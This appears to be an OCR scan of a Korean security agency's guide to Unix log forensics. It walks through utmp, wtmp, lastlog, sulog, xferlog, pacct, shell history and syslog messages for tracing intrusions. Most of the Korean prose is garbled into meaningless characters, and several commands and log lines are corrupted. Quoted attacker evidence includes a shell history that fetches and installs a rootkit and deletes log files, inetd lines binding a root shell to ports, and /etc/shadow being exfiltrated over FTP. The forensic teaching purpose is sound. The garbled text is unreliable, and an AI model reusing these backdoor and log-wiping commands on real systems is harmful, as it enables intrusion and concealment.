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&AM et AXME FHA MYl SFU /X 2, O WES AIAE vendort S Al
H&EO Tt 234 X01JF JACH = DUME elsA AIAEE fIF2 4HECS 8t

utmp LS AIAEN S 218 AFZXS0 et &EHE IR QUCH /var/run/utmp
o (2l=sA)0lL Jetc/utmp Hr(EetelA)0l HHolU2l EH2 MEZN vi & HEIIZ=
to

utmp IS utmp.h QL0 H2AZNH U= utmpets structure A2 2EE JHAI LD U

struct utmp {

short ut_type: /* type of login */

old_t ut_pid; /* pid of login process */

char ut_line[UT_LINESIZE]. /* device name of tty — "/dev/" */
char ut_id[4]; /* Init id or abbrev. ttyname */

char ut_user[UT_NAMESIZE]; /* user name */
char ut_host[UT_HOSTSIZE]: /* hostname for remote login */
struct exit_status ut_exit; /* The exit status of a process

marked as DEAD_PROCESS. +/

long ut_session. /* session ID, used for windowing*/
struct timeval ut_tv: /* time entry was made. */

int32_t ut_adar_v6[4]; /* IP address of remote host. */
char pad[20]; /* Reserved for future use. */

n
o
ke
0o
rol
Qo

- AI2X 018
- HOIE FX 018
- A ZO0Al AA SAE 0|18

- AREXOF 22901 8t A2t

-

oA S UM utmp MY HIAE THAUO| OILIS2 LBt HED|IZ2= HE2E &og 4
, whodo, users, finger S2 &0t utmp LI 2 X0 2 d2E At

w
ot =2 = Ase ez 2 =L



“w'e utmpE IS S AIAEN S=FH2Z 218t AFE X0l TSt snapshot2 Xl
Sl BZo=x oY HIGHAIAE SAAI0N BFEAl 2015 Z0t0F2H SHCE fLESHH S
AMAE 24 S0 S3XE 201 S0 JAS R M0l FHLEG=s AE =X =2
8 XML otdl ZHES ol HE =% UI| H20ICH

S22, JaFel 27902 FXE HXX €10 HEHE Sol AIAEN F2FE 0= &
M S2AXOF AIAEN 23002160 ASHE 7ot E0XIX 22 240IC

ZaHOl telnet BAIU= login 220 2o AAEX USEXY 2L WE S AHE =
20| PHELC 2JUE M= AAESAL EEWES utmp, wimp, Z2l1d lastloglll JIES
StCH. SFXI2H rootkit S0l 2o login0l EZ0/=20F HAESZ HIE AL S3 HAYES
(magic password) & Al 22 UHES HXIX 21D HIZ root shell2 20HGI2E w, who

ol
rr
0¥ 0In

C

O HHOoZE ZAXS EZAA
& HAl utmp, wtmp S92 It
who, last S2 8oz &= &010| EJtsdtlie A

o 20l AIAE 380U UERD 2LIHE S SoiAd XS EME &g = UL

“w' HBES ARSIl BT AARN 2006 Us ASHESH Kt N2E LOILEE o

At

r

[root@violet93 /root]# w
9:11om up 6 days, 5:01, 5 users, load average: 0.00, 0.00, 0.00
USER Ty FROM LOGIN@ IDLE JCPU PCPU WHAT
chief  pts/0 123.45.2.26 Monl10am 7:20m 0.195 0.04s telnet xxx.xxx.150.39
hcjung  pts/1 hecjung.kisa.or.k 5:59om 0.00s 0.11s 0.01s w
root ots/2 - Thu 3om  bdays 0.03s 0.03s -sh
root ots/3 - Thu Som  b5aays 0.02s 0.02s -sh
s pts/6 123.45.2.159 Thu 7pm  5days 0.15s 0.04s sh ./vetescan xxx.xxx.110.21

“w'el 21 0 AFEXS0l HCIoA 2260 S0 2F A
EXS0l 0 & ot U=X 2HEC.

S E=2e
Jded™ IIA MDESXOE F2AN 2H0F & 222 Hd

rr
Pl

2 = ALY, deld O A

1 222t
- =8 A2 HEO 25 FAHQ AZRSIO
- 8BSXOt ZAEQ X £6l, WR IP=A OIQ0AH E=atAU, 2
e IP F=A0A et 2= 28g 22t UL
- APZXSS PO HYHQIL? scan 25 Adotd UHL B AIAEE U
o422 NHIAHESAS otld U= 2B

2.2.2 wtmp, wtmpx

wimp I 2 AIEX=2 210 20t 822 JtA10 AUCH utmp DL Db OFEDOFAIZ B



oldel EEioIH, INEREE YDAl utmpetsE structureE AFS &L
utmp MOl 8 22Ieldll U= MRIPOH CH8t snapshot 0l2t) SFH, wimpe XISDHA
Ar2X =2 21901, 2 102 oA g 2% JIXNLD YD, AAE2l shutdown, booting

OIAECIIHA &= ot U0, oy LloHAIAE &M CiEtel SRt 22t & =
UL
wtmp W& AAl GOl 2] EERQIO "last'cte EE 2 0IE0H0 WSS o8 o= UCH
lastE &laoll 2 At.
[root@violet93 /root]# last
hcjung  ftpds812 123.45.4.80 Tue Aor 17 21:44 = 21:59 (00:15)
hcjung  pts/1 hcjung.kisa.or.k Tue Apr 17 17:69  still logged in
yikim ots/1 123.45.2. 149 Mon Aor 16 20:06 — 20:34  (00-28)
kong pts/1 123.45.2. 146 Mon Apr 16 16:36 — 18:13 (01:37)
chief  pts/0 123.45.2.26 Mon Aor 16 10:38 — 14:35 (2+03:56)
reboot  system boot Mon Apr 16 01:52
hcjung  pts/1 hecjung Mon Aor 15 01:21 — crash ~ (00:30)
HIIA AtDE24 =S /ol =220 24180 & 222 O3S &0
- HHZA2H0] FAEQID B8 Z20M 3= 2HUsS B R2lUetet AlZHS
0l Ed, =U0l= MEAIZICHO st Aoz X0 Y= d<It B
- EEEXIF FAEQ X0 =2 ESole IP(LE IP 22)0F oY 20
A BEGIAIALE S5, 29 1P FAA Za8 FeE Mg TR AT

22 200t AJI =20l grep EE2= HR0HAS E5et A= M

1, E0I2101 kisa.or.kr Olct) BHOHH Ot &

O, last HEE Sold FAUM L8 SAEE S0IM=d SHQ! HYol 88 stH
ol LIEL } | 2= AR A= 21010

moksoon  fto ts7-70t-18.idire Sat Nov 6 13:26 — 13:30 (00:03)

A A 20| last A= s2X =& =S2st ANAsQl A2 SAEH0O| 16 SAIHA
oF Sl B0 X=0 162XNE B= S0 Wee 32 HUHAM E5MeXl & %= gis
AL &5 UL elsA AMAES AL, secure I o152 X201 text Y &
B2 JIE&d=d, IIME SoUIYel SX4=0 2tAH G0l JI=S0l = CH2.2.3 secure &
X). otXIGt &E2telA AIAEIOAE Ol secure 20| EMHoHK $=0l 2401 2Jts



e, BE 2020l DXL wimp S LAEAIZES FIIZ rotate=CH. 0|& 2
wimp IS wimp 10 HEE =0 0 MMAE B 22 &Q01s ZRA0| US

# last —f ./wtmp. 1 or
# last —f ./wtmpx. 1

o
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=
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2.2.3 secure

secure Y2 MYLHEUWAM 20lol=s 2dME 2ot 2= =S 202 HIIMH, AIZ2X
Ol 2= 28 HeotD UTH

secure 2 220 =9 syslog G20 2ol & AHAX=0 binary 0| OlLIZZ vi S2

BEII2E =olg & UCH

# cat /var/log/secure

Aor 8 18:45:38 insecure in.rshd[4722]: connect from 123.45.2.159
Apr 8 18:45:38 insecure in.rlogind[4724]: connect from 123.45.2. 159
Apr 8 18:45:38 insecure in.ftod[4726]: connect from 123.45.2.159
Apr 8 18:45:38 insecure in.fingerd[4728]: connect from 123.45.2.159
Apor 8 18:45:38 insecure in.telnetd[4725]: connect from 123.45.2.159
Apr 8 19:03:07 insecure in.ftod[4742]: connect from 123.45.2.159
Apr 11 18:23:07 insecure in.telnetd[6528]: connect from 123.45.2.14
Apr 11 18:23:13 insecure login: LOGIN ON 1 BY hcjung FROM hcjung
Apr 11 19:21:11 insecure in.telnetd[6583]: connect from 123.45.2.14
Apr 11 19:21:21 insecure login: LOGIN ON 1 BY hcjung FROM hcjung
Apr 12 01:53:12 insecure login: ROOT LOGIN ON tty1

Apr 12 02:42:54 insecure in.ftod[607]. connect from 123.45.2.161
Apr 12 23:58:29 insecure in.telnetd[1095]: connect from 123.45.2. 14
Apr 12 23:58:35 insecure login: LOGIN ON 2 BY hcjung FROM hcjung
Apr 13 00:15:30 insecure in.telnetd[1134]: connect from 123.45.2.14
Apr 13 00:15:41 insecure login: LOGIN ON 2 BY hcjung FROM hcjung

1ol 20 M “Apr 8 18:45:38701l 123.45.2.159Z2 2 H rsh, rlogin, ftp, finger, telnet S0l

et 85230 UUSE = = ULL & ASXIE 44X P2 Tl &2 Al



(1=)CH0l Ol AHIA RES & £ GICH 0l 218 Soll 123.45.2.1592 2 H multiple &
W ZHO AASES A L & AT

secure 1IN = telnet, ftp OIAWE pop S 2ES Rots BE UERKI MHIA
et 2201 =L

2.2.4 lastlog

lastlog OIS 2+ A XD JHE 220 22901 & Al2H0] JIEDd = LWEZ A AS KO Al
AN 20 & [ Ottt JI5sE S2st AFZ2XH0 CHollAl= Ol™ WHE 2 overwrite &
OZM HAISHCH lastlog TIFY 2 utmp, wtmp THE D & login Z2 1280 2|dl M X+ ol
= £ JISHsE 2L EM binary €EI2 MESCH WEsS &0161)| foiAde T
Z2 lastlog FENHE LSotH =L

CIS2 2E AIEXS2 JHE 229 208 888 BE0F10 JUTH

# lastlog

Username Port From Latest

root 0 Mon Apr 23 19:11:17 +0900 20071

bin **+Never logged in**

adaemon **Never logged in**

aam ~+Never logged in*+*

apache **Never logged in**

named **+Never logged in**

yikim pts/0 123.45.2. 160 Wed Apr 18 20:16-08 +0900 2001

chief pts/0 123.45.2.26 Fri Apr 20 14:06:00 +0900 2001

khlee pts/2 violet93 Wed Jan 31 19:34:11 +0900 2001

hcjung ots/0 123.45.2. 14 Mon Apr 23 16:59:41 +0900 2001

s ots/1 123.45.2. 152 Thu Apor 12 20:05:31 +0900 2001

2.2.5 loginlog, btmp

loginlog It 2 SolarisE Z& gt System V HEL SYANAMN &Iist 202 AIEE JIE
ol Wz A JI2dez HadHile 220 Us HE2 Sotod MA S

# touch /var/adm/loginlog
# chown root /var/adm/loginlog
# chmod 600 /var/adm/loginlog

LPHOZ System VHES SHAMNAES AMEXIF SEM =101 A0l AIHoH AIAE
OA 2=z H=52 Z=C loginlog I 0= T80t 22 WE0l JISET



- MEXH ID

loginlog I 2 text EEHS M=z MNEDEZ vi

on
10

# tail —f /var/adm/loginlog

hcjung./dev/pts/9:Fri Apr 20 14:48:46 2001
hejung-/dev/pts/9:Fri Apr 20 14:48:54 2001
hcjung-/dev/pts/9:Fri Apr 20 14:49.02 20071
hejung-/dev/pts/9:Fri Apr 20 14:49:11 20071
hejung-/dev/pts/9:Fri Apr 20 14:49:20 2001

loginlog2l 22 &t M&UA 4% Olotel 2¢! AIe A= 1S EIIA &ERULCH

System VHE 0 M loginlog Y0l EMSHCHH 2lsA AIABNHA= ISt 20021 AIZ
CHoH A btmp TN 2E 2ICH

lastlog LD OF&IIRIZ AIAE 22| XD btmp MY E MAAIZA =0{0F dt=dl, lastlog
ool MENAEN DF&ILKIZ /var/log/btmp TS MAHSHC

btmp IIYLE lastlogt= <2l binary EEHS ILOICH 0] WE=S &02lst)| A=
"lastb"et= BE = AtESHCH
# Is —/ btmp
-w-r-—r—-— [ root root 9216 Apr 20 23:27 btmpo
# lastb
root ots/4 hejung Fri Apr 20 23:27 = 23:27  (00:00)
root ots/4 hejung Fri Apr 20 23.27 - 23:27  (00:00)
hcjung  pts/2 hejung Fri Aor 13 00:15 = 00:15  (00:00)
pts/5 violet93 Wed Mar 28 21:50 — 21:50 (00:00)
chief ots/5 violet93 Wed Mar 28 21:50 — 21:50 (00:00)
chief  pts/5 violet93 Wed Mar 28 21:50 — 21:50 (00:00)
root ots/1 123.45.2. 14 Wed Jan 17 02:37 — 02:37 (00:00)
root ots/1 123.45.2. 14 Wed Jan 17 02:37 — 02:37 (00:00)
hcjung  pts/1 123.45.2. 14 Wed Jan 17 02:36 — 02:36 (00:00)
hejung  pts/1 insecure.kisa.or Wed Jan 17 02:33 — 02:33 (00:00)
hcjung  pts/1 insecure.kisa.or Wed Jan 17 02:33 — 02:33 (00:00)
Z7°1 ATl st JIZ2 brute—force 331 22 WMARE AIAEON CHst S0l st
208 <2 + ULk
2.2.6 sulog
sulog= su(substitute user) YEHE A& 200 &&= THLO0ICH

-10 -



su= AIAEI0 20216t EXE HXIX &1 EF AFZ2X D2 dMEote Jlss M3Bot=
JEUHZ AN Mot ot oHE AFEA2 D2 HARIE BS EXE MSetlh su EE
HE OlSotd Eb AIESAtel IDZ2 Z0ots A £Z22 FUE MSEH =22 ALEX

meue] 2HE SEol = 22 JUCH su S0

2702 ¥8E J|SE6t= utmp/wtmp
utmp/wtmp L] 2tH = CISD

mU
o

E 0|25t FAHQ HIE AN HY AIZ2X ID2 HBGHH & su H

S ArE X2l effective UIDJE Bi18tE AFE X2l UIDE BFECH U 0Ol

2t ZE WEe utmp2t wtmpOll BtE &l Xl &=Lt

| “su — userlD"2t 20l otH SHY ArEXH(userlD)Z 2| HEHEOH OtLiet Y ALS
el A

5
Of HESE2=Z 2AFoH HEtEHH EH2Z " AtEX

HIIA S23XIH LEAIEA Atz FYst = su BE= 010t root et =2 HIE
= 0 I A= offUL otHet: last @822 2= 0] SHXIF root dets &S
A & = 8llte AE & + UL sulogE Sot S MSUZRHS =HI M0l et
HatAlos AIAE 22X 2ete] S 8He AIZBAIEE 8o = E2I UL

sulog &M= ths WSOl IS

Ct=2 sulogll Z10|C}.

# more /var/log/sulog

SU 04/18 09:10 - pts/8 hcjung-root
SU 04/18 09:10 - pts/8 hcjung-root
SU 04/18 09:10 + pts/8 hcjung-root

hcjungete AFS XA HEHOl & B2 &I =0 root Het2Z HEN 58 A= & = U
Ct. S22 M4s SEHAEHOILL SATIE ME& HEW 2&HAE suloge F=2A2H EH

2.2.7 xferlog
IZl= 2= It st JI==2 MSSstCh xferlog LH O

xferloge ftp =2 Sot0 &4
P &S

= U39 =20t &=



- S48 U2 Al

- SRS S FH SAE

- S48 Wl 37|

- S440E WMo 018

- o &S24 2E (a:0tAI| OHY, b:0l & THY)

- S 82 Z20 (C:2=, UbIY =, T:Tar archive)

- && &8 (o:outgoing, itingoing)

- 2018t AFE X2l E& (atanonymous, g:guest, rHAJAEE S&t 2SS AIEX})

Ct=& xferlog2 Ol OICH.

# more /var/log/xferlog
Sat Apr 21 00:53:44 2001 1 violet93.kisa.or.kr 14859 /dev/.../statdx2.c a _ i r root fto 1 root ¢
Sat Apr 21 00:54:09 2001 1 violet93.kisa.or.kr 821 /etc/shadow a _ o r root fto 1 root ¢

f1o 20 violet93 SAENAM ftp AHU H=6HM /dev/.../ CIZECIO rpc.statd 3
AE E£0! statdx2.c uP 12 &AX5t™ 1D, 0l AHZRE shadow IIYLE K= 28 A2 2
2 UL oz o E§US 8= /dev/.../ CAEC|IDt AHM EMot=Xl &#elstn, 1
hidden Cl&i&Ee| WOl AS == A= A4S SZE0IL B2 Z2U=SSS 24Y 2RI US
AOICH &8 shadow 0l REEZIM CrackOl 2lai AFEX IHAREDN EELH/UE Jis
A0l Y282 MARE WHMEAT RSH 20|C.

xferlogOl A 22X =24 HTHE0F & 22 Ot

wtmpUlA 2 DFEDERIZ xferlogWl A S EEHAIZ2EDE remote AIAEIS] ME LS, el 2101
MNEX S HIEE0t0F & 240ICt. 21, xferlogllAM= S48 I0l HAE0ILE =

=
2 N=ZelX 685 Z0t0F &Lt

2.2.8 acct, pacct

XNS2NMXe 22mdsEe SO AM HOOHA He HELZ AIAEN HI2/U=X0 HE
HPEE P0HFUCH ofXI2H o2 HoHAIAES Iol A& e 4X0HE s2 2|
M= AIAEN SHELsH SAXIF TUM HEH #s2 b= 20| BtEAl 2R0ot
Ct. Oled8t 200t "2 AIAE AFBUWSY =, ZZAHlA accountOlH, acct £= pacct THY
ol JIS=CH

acct ¥ pacct M2 AIEXIL HE A= = 2= binary E@EH2 AIE XD =g &Hd
0o EE2E JISEotd RUCH 0l =2 acct £= pacct W2 LHE= AE RO 401 It
S8 "H 2 Zgot= lastcommOlLt acctcom SO Slotd =IJtsotC de2fut
acct/pacct Y2 AIEAEZ A8 HHUHE PEot=0 RESH AMEE = UKL A
2& YA argument?t 1 YOI AIAE W L. mMLAIAES - COHERINA

-12 -



A
=

02

SYERE JIZOH Y202 BANSS WS FHoIINs 2HE Hol 2L

acct/pacct L8t Dl
S B0 0F BHLH.

ol
H
Ju

2HoZ AFIDN UX 22 AEH0IN, 22X accounting=S
& 82 System VAHIZ 1 BSD HIE0| 282 CH=CH.

® System V HE SYAN ML accounting

SVR4 AIAEINANE getE o2 O 20| startup @8O 216t accounting0l A
Ct.

Iy
i

# startup It 0/E
pacct IO accounting AE2JF AL 1D acctcomPBEL2 242 £ RJLL accounting
SEYA HEH QoA DH, Z2AHA0F S 2 0T HE 2 32HI0IE dR2EE

pacctt 0off X &stCh.

pacct &0l= s WE0I ME =L

- 380 0I8
- HEHOES AMAIZI AFZX 0|2
- CPU Al2&
- 2
S: +H MU 2o AsE HHN
F : forkol) exec otk &2 FHN
D: &E=Ef core files MAS FHNY
X AIdg0 2ol =2 FH
® BSD HE KYANAML accounting
BSD HZE SYAlAeE LSO Z S0 20| accton HE2 Al#H6I0 accounting0l Al
=S
# accton LI 0/E
ok Pl A

20|22 accounting 828 H&EE It 0|8 NEM == A2
ZdZ2H LHC acct WAOICE O WSl HEE lastcomm HEHZ &

# telnet 123.45.2.34 9704

-13 -



Trying 123.45.2.534...
Connected to 123.45.2.54.
Escape character is "] ".
bash# id

id

uid=0(root) gid=0(root) groups=0(root)
bash#

bash# mkdir /dev/...
mkdir /dev/...

bash#

bash# cd /dev/...

ca /aevy...

bash#

bash# pwd

owd

Jdevy/...

bash#

bash# touch aaa

touch aaa

bash#

bash# rm —rf /tmo/xxx
rm =rf /tmo/xxx

bash#

Ol 123.45.2.34 AIAEIQ| pacct Y 0l= 21

my
(=}
o
Jn
0
Q
O

# lastcomm

m root 77 0.00 secs Thu Apr 26 01:08
touch root 77 0.00 secs Thu Apr 26 01:08
mkdir root 77 0.00 secs Thu Apr 26 01:08
id root 77 0.01 secs Thu Apr 26 01:01

Ol lastcommel 22 2= AL O CHAECIE ddoiAd OOZ 0lsSLY, M=
s AMA=X0 et 28 &6 2 4 gt 12ln, UEEe 0/S(cd)2 pacctoll
7|

=2=
ST DX AL

2.2.9 history It

FEA AABHA HM3ots ZZ2HA IIRES AL #HRASE LOotHII0l= S| &2
Z6t B0l XUSS & = UL acct/pacct 01210 S22 XDt 8 HIAE 2 = U= Y
A2t

history IS &H & = UCt history IS 2 AAEXNEZ st HHAS JISot= It
2= M, csh, tcsh, ksh, bash & AFEXE0| AIEdt= &0l T2t .history, .bash_history It
20l JIZ2=C o2 HolAlAE 2AA SHAFZT HEHOIL root HIAQ history Y2 &
SAECZMN, SR AIAEN 28 = s HFUSES =g = UL =2 YA



acct/pacct WU M JIS6tK 2otFYH FHON2 argumentLt CIE&E2IQ fIXINX JI=0|
S = C|

Jtsot22 SAXS P E F=Hot=0 Ul =8a d20t 2 = UL

ths

flo
o
ol
-
(IS
=
%
>
=2
x
.
RN
=
<8
e
<
=

0
=
o

# more /root/.bash_history
mkdir." "

ca.""”

ncftp fto.tehcnotronic.com
ounzip *.gz

tar —xvf *.tar

cd Irk4

make all

cd ..

rm —Rf Irk4

ncftp fto.technotronic.com
ounzip *.gz

tar —xvf *.tar

/s

rm Irk4.src.tar

tar —xvf *.tar

cd Irk4

make install

cd ..

cd ..

m —Rrf.
ofco /dev/ptyr

mkdir /usr/sbin/mistake. dir
rm /var/log/messages

rm /var/log/wtmp

touch /var/log/wtmp

ofco /etc/passwd

reboot

"o

exit

o LAl history= 22 XHJF hidden EIE“EEIE
5l

history II22 B& 28 AIZ2Xe ECIHEE| M0l S0t LA
HXE HXIX &£ HE LEZ HH0H0 ”'2 202
=, 9704H ZEO0 root shell2 HICIESEID O] ZEZ &%
(2lsA AMAES AL /root/)0l .bash_history T 0| A4

St

0y
10
rr
R 21
)
~
utn

= otH T ™ rootl ELIHEL
[

= 240l OtLlet, THLAIAE S
/&2l CIAEel0l history 0| ML= HsS Eolg & UR/UCH =, /.bash_history It
20 BHEH ZEZ HH0t0 AISS YW E0| JISECH
2.2.8E0AM 97042LE=R HEZGIRAS B /.bash_historylll Gt 22 210+ /AT
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# more /.bash_history
id

mkdir /dev/...

cd /devy/...

owd

touch aaa

rm =rf /tmo/xxx

pacctLl acctl 22t= <2l 0l history I
A StCt.

=
o
10
=
00
0
0t
I
-
|0
02
-0
m
o>
=
i
1>
N
30

clsA AAEOA /.bash_history IH20l ZMEHCHHE S 2laloil E0t0F 8t &
2 clsA AMAHNA AIEX SLEECIE /72 AIEGHA 2382 ZAGHAL

x
Jx
|0

2.2.10 messages

2L Ao SHN ==EC = HAIXNSES messages 220l M&EO0| =CH. messages 2
b = 2l X

O e HEtel 2t ®22 Z oD QUCH AIAE 2RI XD AIAE Z0f RolE 0t
LDl fIHAM = messages IH2S EAHSHCH 0 M= W AIAE full, device failure, Al
A AN 2F SO st g2 It JUCH

(=}
Ao Z0 Aols #HI| fst A Ol0A 2 SEHUHAME messages L2 &&0l
o —
—

=Qst dsts 610 U=, messages WM HE FUEOZ Qo 2HS 2t
5 = o

messages W2 2t 2 0= 32 UHES &0t UL

timestamp
- SAEY
=

HIAIXI HE

CtS2l =2 o2 IoHAlAE(Solaris 2.6)2] messages 212 2 Xt

Apr 10 17:25:53  victim  /usr/dt/bin/roc. ttdbserverd[29906]:  _Tt_file_system..findBestMountPoint — —-
max_match_entry is null, aborting...

Apr 10 17:25:54 victim inetd[147]: /usr/dt/bin/roc. ttdbserverd: Segmentation Fault — core adumped

Apr 10 17:26:03 victim /usr/dt/bin/roc. ttdbserverd/(8206]: iserase(): 78

Apr 10 17:26:14 victim inetd[147]: /usr/sbin/sadmind: Bus Error — core dumped

Apr 10 17:26:18 victim last message repeated 1 time

Apr 10 17:26:21 victim inetd[147]. /usr/sbin/sadmind: Segmentation Fault — core dumped

Apr 10 17:26:23 victim inetd[147]: /usr/sbin/sadmind- Hangup

Apr 10 17:31:20 victim login: change password failure: No account present for user

Apr 10 17:33:15 victim last message repeated 2 times
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Apr 10 17:40:30 victim inetd[ 147]: /usr/at/bin/roc. ttdbserverd: Killed
Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/roc.cmsd: Killed

0l 2= 3A3XIE 48 102 17A1 25EF2H 17Al 402Xl rpc.ttdbserverd, sadmind,

roc.cmsd O CHEH B2 EXg 201FD UCH SAKI JAS HABES 2% AN
M OAAE BRIX BEE HSE 4 UAs ASOIXE A AN SZHEX, AHHUEX

R[S B ingreslock
O sadmind ==

# Is —alc /tmp/.x

-w-rw-rw— | root root 48 48 10 17:26 /tmp/.x
# more /tmp/.x

Ingreslock stream tco nowait root /bin/sh sh —i

AHl sadmind F2E 2 rpc.ttdbserverd, rpc.cmsd ECFH 010 2efdl FoF

2 sctelA AIAEO0l O HAEU === 0 JACH

0
|0
Hu
o
1
62

E e ZAEXES 2R

S|

OrchHel =& &5

-

o

ro
n

SA AMARS amd HIHHEZ2R 530

S
Ju
il
Py
=]
o

IXLXLXIJLXLXIILXLXIXLXLXIJLXLXIJLXLXIJLXLXIILX XXX X XXX X LX X LXK X (X X XX X LX X
claelalaliaelaelaeglalaelalalaglalaelaaaaeaalaaaaaeaaalaaa aaaaaaaaaaaaaaa aaaaa aal
(XXX X XXX X LX XX LA XX XXX X XX XXX X XXX XXX (XXX X XX (XXX X XXX XXX XXX XXX X
aclaelaelaelaelaelaglalaelalalalalaaaaaaaaagaaaaaaea aa aaaaaaaa aaa el
(XXX XXX XX XXX KX XX XXX X XXX XXX (X (XXX LX X (XXX XXX X XXX XXX

A A A A . . ,
GBI B NEIBEF L5 Wis "Z2K?[718 Jan 1998—--str/bin/sh(-c)/bin/echo 2222 ?
‘AN
stream tcp nowait root  /bin/sh sZ & & & &

ZUEN 230 €2 Z2AAZ LXcts AlI2H0l root AK2 M0 MAED HA|
2222 ZE0l root shellOl HI2IE &AL

[/tmpl# Is —/

—w=rw—rw— [ root root 116 Mar 11 05:20 h
[/tmp]# more h

2222 stream tcp nowait root /bin/sh sh —f
2222 stream tcp nowait root /bin/sh sh =i

otXICH OIXME messages 20 Z2HI|=0|

i A= =
2 OtUICH Amset & £g 270 85 = U

UL A 25 3H0M =0 A
OH, iz 2A0 &d3ctHet: JIES
5= 2 ScielA AIAES ZZ0 %0l 0l8L snmpXdmid F <t
Aol OIst 229 2R BAH0U HA306tEH2HE messagesOil= 0IR2& 218 EIIX (UL

Ok

oc

y

SHAIEH IR =22 HERA tzl SEXZZ20YE HIHHEZS A0 28t HIEaAl
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argument2| A& S syslog 22022 Sot0d messages WH JIEotE=Z o2 st
oFE 240 UHol #a8t d2E MSISIC 2 2A2 “[ER] L FAEYE sHEH”
Ol =12 38X =¢t = o2 0l 20l 018 I%Cd FHAEU e 2F 8= LS st
0 s %HI CERTCC-KROIA o2 HoHAIAEISE 4ot UHEUA A8 2OE=2
M, 2 LIGHAIAE =240 288 320t 2 = US AH0ICh.
messages I 242 Soff SA0 0182 FHAYE=S 24E = U= X 010 2ot
2EE £ 2 F2SS M3oH 1% St
g, dizdE g8 = E2 SANSE2 MAE0 Sniffer& AXIotH WERIAE ZLIHEES
Ct. Snifferdt AEAH S UWESRZI 2AHHOIA 3tS&= Promiscuous 2558 & EAH &
=04l ifconfig YEES 0I2otH M2 UERIA AHHOIA JHES AHE &g =&
Ct. OtXIEt messages 0= &2 HWERT AHHOIA JtES AEH=EEH OtLet WE
3 CIHHIOIA IIEIL HAMEEH AHMIK Promiscuous 2= AEHA=X0 CHSE B2 E
JHNLD AN, SN2 2 =HU O dAs A28 M3t

messages-Apr 24 01:55:22 insecure kernel: device ethO entered promiscuous mode
messages-Aor 24 06:33:07 insecure kernel: device eth0 left promiscuous mode

?2 2= 0l AIAEO0| 43 24 fE2 SFDAH (AL

IHOF A 0f) 06AI 3301l SHAIE

4™, SYN flooding 22 NHIAHEZA

OrchHel 2 =ct

Aug 26 10:33:41 victim unix:
Aug 26 10:53:28 victim unix:
Aug 26 11:07:42 victim unix:
Aug 26 11:15:16 victim unix:

21

[

|)\ /\|)\E1IO.”/\_| l_él-

WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!
WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!

OI2I0l= messages IA0= su A0 CHE 21, EF U201 =2 21, SEAIN ZM
2 0l 8 82 st 202 YJ10 JOH 0ldEg st 212 Eoi10 2L 279
A0l AIAEN AIEO0| 2 FR GRS =& 2telo] JIZECC metA, Ol=2 HS8H &
DX StutotLe 2010l &S22, grep HEE 01206t £EF HOUI S0{2F 218t =
olgt &= QUL =, “ttdbserver’, "sadmind”, "cmsd", "pop", "statd", "mount' & 3A0 A=
= FAFO =022 22AE greplZ Z{UIHLE, "failed", ‘"failure', "denied",
"promiscuous" S8 I ZEE JIEEL A= ZRI UL 7[ER] =R BorHHA
g 33 SH«O 229 SHAM 6™ ez 230 =X &16tet.

deld, ciHZ0l A0l Jte AIZPR2E 2l messages 2 1= GtLIGHLY Al2t=22 208 =
H5le ClUASE ZoICH
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2.2.11 access_log, error_log

BAMBHUAE e AMOIENAM AIAEIN &0 ,
CH&t JI=0l access_log WM JIEL D, EMMoLA 2= THLH s &
ol A= error_logOll 2150 = Ch.

MBI CHE 32 =2 CGlI Z2 080 &350 A= FHAs CGI Z= 00l CHEt
2220% 01 21 ool JI=E

)
[0
[=)
(=}
In
E—l
o
(=}
[

r

G52 £=(61.146.132.137) XH0A Fteh CGl Z2IHE s AHSZ0l A=Z20
JIS= 0IthH

[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat:
Jusr/local/apache/cai-bin/php.cai

[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat:
Jusr/local/apache/cgi-bin/ohp

[Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat:
Jusr/local/apache/cgi-bin/handler

[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat:
/usr/localyapache/cai-bin/webgais

[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat:
Jusr/localyapache/cgi-bin/websendmail

[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat:
/usr/local/apache/cai-bin/guestbook

[Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat:
Jusr/localyapache/cgi-bin/webdist.cai

SHIOIX HAIES 0lE0ot¢ Bl
= AMOIENA 2= HAIGHA=X & = UL

Jdeld, =20 FTPE OI26tH o2 E2 &Xlcte ERE UKL, &S 0[E6HH i =
S UR2E 2= 2RI 51 U 209 2AE SAIED JACH & o2 S0t
=2 CERTEOUAM =22 ofi2dst AIAE AZ UM =2 =812 AIAENA of 2
ES US2E 202t EH0| 2HE0 CERTCC-KRZ 218t Ht ULt =& e ES G
2L 202t =W AHEE FAl oHZ=S &8 AAES0IUAT

Oldgyg &Az2d= &AM
ANERRCH, M

=
g OtLict 2ot S A0
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Ol BOHNOINOZ QIGH AIAHO0l HAS YVEXES HOIGHE NS 85 ALY =23
AOIE SIEA ZRGHCH OFf MYUESNS2 1999 2E NSNMK =W H2 TIoHA Aol

HotF| kM2 CVE(Common Vulnerability & Exposure)
2 0| FHUAE et 2AA 2N @2 &8s Eoldh =2 Mo TIoHAIAEIS =

g8t A= SFO0l Mer ef2kel X0t A= == UL

-

CVE-1999-0006 : POP

BSD/QualcommAl2l gpopper= HIHLLHEZR F2EHO0| =MotD, HAAHo=z 2
PASS HEOM=Z Qlol &ZH0lAl root E&E2 =SEHE = QUCH

Dec 14 09:47:49 victim popper[16036]: @[xxx.xxx.120.200]: —~ERR Unknown command: ""P
APAPAPP PP P PP PP P P P PP PP P PP PP PP P P P PP PP P P P PP P PP
APAPAPPAPAP P PP PP P P P PP P AP P PP PP PP P PP P P PP P P P PP P PP
APAPAPPAPAP AP PP PP PP P PP P AP P PP PP PP P PP PP PP P P P PP P PP
“PAPTPAPPAPTP!.

CVE-1999-0042 : IMAP
FAJEUSS IMAPLE POP MBI0I BHIIHHEZ S FE0| EISHCE

Nov 1 17:17:45 victim 22>Nov 1 17:17:45 imapd[1570]: AUTHENTICATE
